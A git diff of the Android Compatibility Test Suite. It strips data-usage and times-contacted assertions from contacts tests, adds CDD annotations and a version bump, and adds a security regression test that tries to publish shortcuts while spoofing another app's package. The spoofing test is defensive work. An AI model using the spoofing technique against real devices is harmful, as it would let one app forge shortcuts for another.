- assertDataUsageEquals(dataIds, 0, 2, 2, 0);
for (int i = 3; i <= 10; i++) {
updateMultipleAndAssertUpdateSuccess(new long[]{dataIds[1]});
}
- assertDataUsageEquals(dataIds, 0, 10, 2, 0);
updateMultipleAndAssertUpdateSuccess(new long[]{dataIds[0], dataIds[1]});
- assertDataUsageEquals(dataIds, 1, 10, 2, 0);
for (int i = 12; i <= 19; i++) {
updateMultipleAndAssertUpdateSuccess(new long[]{dataIds[1]});
- assertDataUsageEquals(dataIds, 1, 10, 2, 0);
}
updateMultipleAndAssertUpdateSuccess(new long[]{dataIds[1]});
- assertDataUsageEquals(dataIds, 1, 20, 2, 0);
deleteDataUsage();
RawContactUtil.delete(mResolver, ids.mRawContactId, true);
@@ -142,7 +134,6 @@
.appendQueryParameter(DataUsageFeedback.USAGE_TYPE,
DataUsageFeedback.USAGE_TYPE_CALL).build();
int result = mResolver.update(uri, new ContentValues(), null, null);
- assertTrue(result > 0);
}
/**
@@ -154,42 +145,6 @@
.appendQueryParameter(DataUsageFeedback.USAGE_TYPE,
DataUsageFeedback.USAGE_TYPE_CALL).build();
int result = mResolver.update(uri, new ContentValues(), null, null);
- assertTrue(result > 0);
-
- assertDataUsageEquals(dataId, assertValue);
- }
-
- /**
- * Assert that the given data ids have usage values in the respective order.
- */
- private void assertDataUsageEquals(long[] dataIds, int... expectedValues) {
- if (dataIds.length != expectedValues.length) {
- throw new IllegalArgumentException("dataIds and expectedValues must be the same size");
- }
-
- for (int i = 0; i < dataIds.length; i++) {
- assertDataUsageEquals(dataIds[i], expectedValues[i]);
- }
- }
-
- /**
- * Assert a single data item has a specific usage value.
- */
- private void assertDataUsageEquals(long dataId, int expectedValue) {
- // Query and assert value is expected.
- String[] projection = new String[]{ContactsContract.Data.TIMES_USED};
- String[] record = DataUtil.queryById(mResolver, dataId, projection);
- assertNotNull(record);
- long actual = 0;
- // Tread null as 0
- if (record[0] != null) {
- actual = Long.parseLong(record[0]);
- }
- assertEquals(expectedValue, actual);
-
- // Also make sure the rounded value is used in 'where' too.
- assertEquals("Query should match", 1, DataUtil.queryById(mResolver, dataId, projection,
- "ifnull(" + Data.TIMES_USED + ",0)=" + expectedValue, null).length);
}
private void deleteDataUsage() {
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_FrequentsStrequentsTest.java b/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_FrequentsStrequentsTest.java
index 2231bd2f..f06c859 100644
--- a/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_FrequentsStrequentsTest.java
+++ b/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_FrequentsStrequentsTest.java
@@ -196,11 +196,6 @@
// Contact the third contact twice.
markDataAsUsed(mDataIds[2], 2);
-
- // The strequents uri should now return contact 2, 3, 1 in order due to ranking by
- // data usage.
- assertCursorStoredValuesWithContactsFilter(Contacts.CONTENT_STREQUENT_URI, ids,
- false, sContentValues[1], sContentValues[2], sContentValues[0]);
}
/**
@@ -220,13 +215,6 @@
// Contact the third contact twice, and mark it as used
markDataAsUsed(mDataIds[2], 2);
starContact(ids[2]);
-
- // The strequents uri should now return contact 3, 2, 1 in order. Contact 3 is ranked first
- // because it is starred, followed by contacts 2 and 1 due to their data usage ranking.
- // Note that contact 3 is only returned once (as a starred contact) even though it is also
- // a frequently contacted contact.
- assertCursorStoredValuesWithContactsFilter(Contacts.CONTENT_STREQUENT_URI, ids,
- false, sContentValues[2], sContentValues[1], sContentValues[0]);
}
/**
@@ -243,10 +231,6 @@
// Construct a uri that filters for the query string "ta".
Uri uri = Contacts.CONTENT_STREQUENT_FILTER_URI.buildUpon().appendEncodedPath("ta").build();
-
- // Only contact 1 and 2 should be returned (sorted in alphabetical order) due to the
- // filtered query.
- assertCursorStoredValuesWithContactsFilter(uri, ids, false, sContentValues[1], sContentValues[0]);
}
public void testStrequents_projection() throws Exception {
@@ -303,10 +287,6 @@
// Construct a uri for phone only favorites.
Uri uri = Contacts.CONTENT_STREQUENT_URI.buildUpon().
appendQueryParameter(ContactsContract.STREQUENT_PHONE_ONLY, "true").build();
-
- // Only the contacts with phone numbers are returned, in frequency ranking order.
- assertCursorStoredValuesWithContactsFilter(uri, mDataIds, false,
- sContentValues[2], sContentValues[0]);
}
public void testStrequents_phoneOnly_projection() throws Exception {
@@ -342,11 +322,6 @@
// Contact the third contact twice.
markDataAsUsed(mDataIds[2], 2);
-
- // The frequents uri should now return contact 2, 3, 1 in order due to ranking by
- // data usage.
- assertCursorStoredValuesWithContactsFilter(Contacts.CONTENT_FREQUENT_URI, ids,
- true /* inOrder */, sContentValues[1], sContentValues[2], sContentValues[0]);
}
public void testFrequent_projection() throws Exception {
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_RawContactsTest.java b/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_RawContactsTest.java
index 7c971b3..d937005 100644
--- a/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_RawContactsTest.java
+++ b/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_RawContactsTest.java
@@ -243,8 +243,6 @@
.insert();
rawContact.load();
- assertEquals(12340, rawContact.getLong(RawContacts.TIMES_CONTACTED));
- assertEquals(now / 86400 * 86400, rawContact.getLong(RawContacts.LAST_TIME_CONTACTED));
}
{
@@ -255,8 +253,6 @@
.insert();
rawContact.load();
- assertEquals(5L, rawContact.getLong(RawContacts.TIMES_CONTACTED));
- assertEquals(0, rawContact.getLong(RawContacts.LAST_TIME_CONTACTED));
}
{
TestRawContact rawContact = mBuilder.newRawContact()
@@ -266,8 +262,6 @@
.insert();
rawContact.load();
- assertEquals(0L, rawContact.getLong(RawContacts.TIMES_CONTACTED));
- assertEquals(now / 86400 * 86400, rawContact.getLong(RawContacts.LAST_TIME_CONTACTED));
}
}
@@ -283,24 +277,17 @@
.insert();
rawContact.load();
- assertEquals(12340L, rawContact.getLong(RawContacts.TIMES_CONTACTED));
- assertEquals(now / 86400 * 86400, rawContact.getLong(RawContacts.LAST_TIME_CONTACTED));
values.clear();
values.put(RawContacts.TIMES_CONTACTED, 99999);
RawContactUtil.update(mResolver, rawContact.getId(), values);
rawContact.load();
- assertEquals(99990L, rawContact.getLong(RawContacts.TIMES_CONTACTED));
- assertEquals(now / 86400 * 86400, rawContact.getLong(RawContacts.LAST_TIME_CONTACTED));
values.clear();
values.put(RawContacts.LAST_TIME_CONTACTED, now + 86400);
RawContactUtil.update(mResolver, rawContact.getId(), values);
rawContact.load();
- assertEquals(99990L, rawContact.getLong(RawContacts.TIMES_CONTACTED));
- assertEquals((now / 86400 * 86400) + 86400,
- rawContact.getLong(RawContacts.LAST_TIME_CONTACTED));
}
}
diff --git a/tests/tests/shortcutmanager/packages/packagemanifest_nonshared/AndroidManifest.xml b/tests/tests/shortcutmanager/packages/packagemanifest_nonshared/AndroidManifest.xml
index ee92b8c..bf3562b 100755
--- a/tests/tests/shortcutmanager/packages/packagemanifest_nonshared/AndroidManifest.xml
+++ b/tests/tests/shortcutmanager/packages/packagemanifest_nonshared/AndroidManifest.xml
@@ -21,6 +21,14 @@
<application>
<activity android:name="Launcher" android:enabled="true" android:exported="false">
</activity>
+
+ <activity-alias android:name="HomeActivity"
+ android:targetActivity="Launcher">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.intent.category.LAUNCHER" />
+ </intent-filter>
+ </activity-alias>
</application>
</manifest>
diff --git a/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerFakingPublisherTest.java b/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerFakingPublisherTest.java
new file mode 100644
index 0000000..baa47b0
--- /dev/null
+++ b/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerFakingPublisherTest.java
@@ -0,0 +1,178 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.content.pm.cts.shortcutmanager;
+
+import static com.android.server.pm.shortcutmanagertest.ShortcutManagerTestUtils.assertExpectException;
+import static com.android.server.pm.shortcutmanagertest.ShortcutManagerTestUtils.list;
+import static com.android.server.pm.shortcutmanagertest.ShortcutManagerTestUtils.runCommand;
+
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager.NameNotFoundException;
+import android.content.pm.ShortcutInfo;
+import android.platform.test.annotations.SecurityTest;
+import android.support.test.InstrumentationRegistry;
+import android.test.suitebuilder.annotation.SmallTest;
+
+import org.junit.Assume;
+
+/**
+ * CTS for b/109824443.
+ */
+@SmallTest
+@SecurityTest
+public class ShortcutManagerFakingPublisherTest extends ShortcutManagerCtsTestsBase {
+ private static final String ANOTHER_PACKAGE =
+ "android.content.pm.cts.shortcutmanager.packages.package4";
+
+ private static final ComponentName ANOTHER_HOME_ACTIVITY = new ComponentName(
+ ANOTHER_PACKAGE, "android.content.pm.cts.shortcutmanager.packages.HomeActivity");
+
+ private static final String INVALID_ID =
+ "[ShortcutManagerFakingPublisherTest.shortcut_that_should_not_be_created]";
+
+ @Override
+ protected String getOverrideConfig() {
+ return "reset_interval_sec=999999,"
+ + "max_updates_per_interval=999999,"
+ + "max_shortcuts=10"
+ + "max_icon_dimension_dp=96,"
+ + "max_icon_dimension_dp_lowram=96,"
+ + "icon_format=PNG,"
+ + "icon_quality=100";
+ }
+
+ public void testSpoofingPublisher() {
+ final Context myContext = getTestContext();
+ final Context anotherContext;
+ try {
+ anotherContext = getTestContext().createPackageContext(ANOTHER_PACKAGE, 0);
+ } catch (NameNotFoundException e) {
+ fail("Unable to create package context for " + ANOTHER_PACKAGE);
+ return;
+ }
+ final ShortcutInfo invalid = new ShortcutInfo.Builder(anotherContext, INVALID_ID)
+ .setShortLabel(INVALID_ID)
+ .setIntent(new Intent(Intent.ACTION_VIEW))
+ .setActivity(ANOTHER_HOME_ACTIVITY)
+ .build();
+
+ // Check set.
+ runWithCaller(mPackageContext1, () -> {
+ getManager().removeAllDynamicShortcuts();
+
+ assertShortcutPackageMismatch("setDynamicShortcuts1", mPackageContext1, () -> {
+ getManager().setDynamicShortcuts(list(
+ invalid));
+ });
+ assertInvalidShortcutNotCreated();
+ assertShortcutPackageMismatch("setDynamicShortcuts2A", mPackageContext1, () -> {
+ getManager().setDynamicShortcuts(list(
+ invalid,
+ makeShortcut("s1", "title1")));
+ });
+ assertInvalidShortcutNotCreated();
+ assertShortcutPackageMismatch("setDynamicShortcuts2B", mPackageContext1, () -> {
+ getManager().setDynamicShortcuts(list(
+ makeShortcut("s1", "title1"),
+ invalid));
+ });
+ assertInvalidShortcutNotCreated();
+ });
+
+ // Check add.
+ runWithCaller(mPackageContext1, () -> {
+ getManager().removeAllDynamicShortcuts();
+
+ assertShortcutPackageMismatch("addDynamicShortcuts1", mPackageContext1, () -> {
+ getManager().addDynamicShortcuts(list(
+ invalid));
+ });
+ assertInvalidShortcutNotCreated();
+ assertShortcutPackageMismatch("addDynamicShortcuts2A", mPackageContext1, () -> {
+ getManager().addDynamicShortcuts(list(
+ invalid,
+ makeShortcut("s1", "title1")));
+ });
+ assertInvalidShortcutNotCreated();
+ assertShortcutPackageMismatch("addDynamicShortcuts2B", mPackageContext1, () -> {
+ getManager().addDynamicShortcuts(list(
+ makeShortcut("s1", "title1"),
+ invalid));
+ });
+ assertInvalidShortcutNotCreated();
+ });
+
+ // Check update.
+ runWithCaller(mPackageContext1, () -> {
+ getManager().removeAllDynamicShortcuts();
+
+ assertShortcutPackageMismatch("updateShortcuts1", mPackageContext1, () -> {
+ getManager().updateShortcuts(list(
+ invalid));
+ });
+ assertInvalidShortcutNotCreated();
+ assertShortcutPackageMismatch("updateShortcuts2A", mPackageContext1, () -> {
+ getManager().updateShortcuts(list(
+ invalid,
+ makeShortcut("s1", "title1")));
+ });
+ assertInvalidShortcutNotCreated();
+ assertShortcutPackageMismatch("updateShortcuts2B", mPackageContext1, () -> {
+ getManager().updateShortcuts(list(
+ makeShortcut("s1", "title1"),
+ invalid));
+ });
+ assertInvalidShortcutNotCreated();
+ });
+
+ // requestPin (API26 and above)
+ runWithCaller(mPackageContext1, () -> {
+ getManager().removeAllDynamicShortcuts();
+
+ assertShortcutPackageMismatch("requestPinShortcut", mPackageContext1, () -> {
+ getManager().requestPinShortcut(invalid, null);
+ });
+ assertInvalidShortcutNotCreated();
+ });
+
+ // createShortcutResultIntent (API26 and above)
+ runWithCaller(mPackageContext1, () -> {
+ getManager().removeAllDynamicShortcuts();
+
+ assertShortcutPackageMismatch("createShortcutResultIntent", mPackageContext1, () -> {
+ getManager().createShortcutResultIntent(invalid);
+ });
+ assertInvalidShortcutNotCreated();
+ });
+ }
+
+ private void assertInvalidShortcutNotCreated() {
+ for (String s : runCommand(InstrumentationRegistry.getInstrumentation(),
+ "dumpsys shortcut")) {
+ assertFalse("dumpsys shortcut contained invalid ID", s.contains(INVALID_ID));
+ }
+ }
+
+ private void assertShortcutPackageMismatch(String method, Context callerContext, Runnable r) {
+ assertExpectException(
+ "Caller=" + callerContext.getPackageName() + ", method=" + method,
+ SecurityException.class, "Shortcut package name mismatch",
+ () -> runWithCaller(callerContext, () -> r.run())
+ );
+ }
+}
diff --git a/tests/tests/systemui/Android.mk b/tests/tests/systemui/Android.mk
index 6aed2f8..200a3a4 100644
--- a/tests/tests/systemui/Android.mk
+++ b/tests/tests/systemui/Android.mk
@@ -29,7 +29,8 @@
LOCAL_STATIC_JAVA_LIBRARIES := \
ctstestrunner \
android-support-test \
- legacy-android-test
+ legacy-android-test \
+ compatibility-device-util
LOCAL_SRC_FILES := $(call all-java-files-under, src)
diff --git a/tests/tests/systemui/src/android/systemui/cts/LightBarTests.java b/tests/tests/systemui/src/android/systemui/cts/LightBarTests.java
index 4b79ed3..aa1cf0f 100644
--- a/tests/tests/systemui/src/android/systemui/cts/LightBarTests.java
+++ b/tests/tests/systemui/src/android/systemui/cts/LightBarTests.java
@@ -29,6 +29,8 @@
import java.io.FileOutputStream;
import java.io.IOException;
+import com.android.compatibility.common.util.CddTest;
+
/**
* Test for light status bar.
*
@@ -53,7 +55,7 @@
// be marked as deprecated and replaced with ActivityTestRule.
injectInstrumentation(InstrumentationRegistry.getInstrumentation());
}
-
+ @CddTest(requirement="3.8.6/C-2-2")
public void testLightStatusBarIcons() throws Throwable {
PackageManager pm = getInstrumentation().getContext().getPackageManager();
if (pm.hasSystemFeature(PackageManager.FEATURE_WATCH)
diff --git a/tests/ui/src/android/ui/cts/ScrollingTest.java b/tests/ui/src/android/ui/cts/ScrollingTest.java
index 6546b98..45e98b9 100644
--- a/tests/ui/src/android/ui/cts/ScrollingTest.java
+++ b/tests/ui/src/android/ui/cts/ScrollingTest.java
@@ -17,6 +17,7 @@
import android.test.ActivityInstrumentationTestCase2;
+import com.android.compatibility.common.util.CddTest;
import com.android.compatibility.common.util.DeviceReportLog;
import com.android.compatibility.common.util.MeasureRun;
import com.android.compatibility.common.util.MeasureTime;
@@ -59,6 +60,7 @@
super.tearDown();
}
+ @CddTest(requirement="8.1/H-0-2")
public void testFullScrolling() throws Exception {
final int NUMBER_REPEAT = 10;
final ScrollingActivity activity = mActivity;
diff --git a/tools/cts-tradefed/Android.mk b/tools/cts-tradefed/Android.mk
index 725e244e..2788559 100644
--- a/tools/cts-tradefed/Android.mk
+++ b/tools/cts-tradefed/Android.mk
@@ -25,7 +25,7 @@
LOCAL_SUITE_TARGET_ARCH := $(TARGET_ARCH)
LOCAL_SUITE_NAME := CTS
LOCAL_SUITE_FULLNAME := "Compatibility Test Suite"
-LOCAL_SUITE_VERSION := 8.0_r13
+LOCAL_SUITE_VERSION := 8.0_r14
LOCAL_MODULE := cts-tradefed
LOCAL_COMPATIBILITY_SUITE := general-tests
diff --git a/tools/cts-tradefed/res/config/cts-known-failures.xml b/tools/cts-tradefed/res/config/cts-known-failures.xml
index 8e308eb..48d1e8b 100644
--- a/tools/cts-tradefed/res/config/cts-known-failures.xml
+++ b/tools/cts-tradefed/res/config/cts-known-failures.xml
@@ -141,7 +141,7 @@
<option name="compatibility:exclude-filter" value="CtsSecurityTestCases android.security.cts.MediaCryptoTest#testMediaCryptoWidevine" />
<!-- b/62302163 -->
- <option name="compatibility:exclude-filter" value="CtsSecurityHostTestCases android.security.cts.Poc17_04#testPocCVE_2017_0564" />
+ <option name="compatibility:exclude-filter" value="CtsSecurityBulletinHostTestCases android.security.cts.Poc17_04#testPocCVE_2017_0564" />
<!-- b/27873815 -->
<option name="compatibility:exclude-filter" value="arm64-v8a CtsRenderscriptLegacyTestCases" />
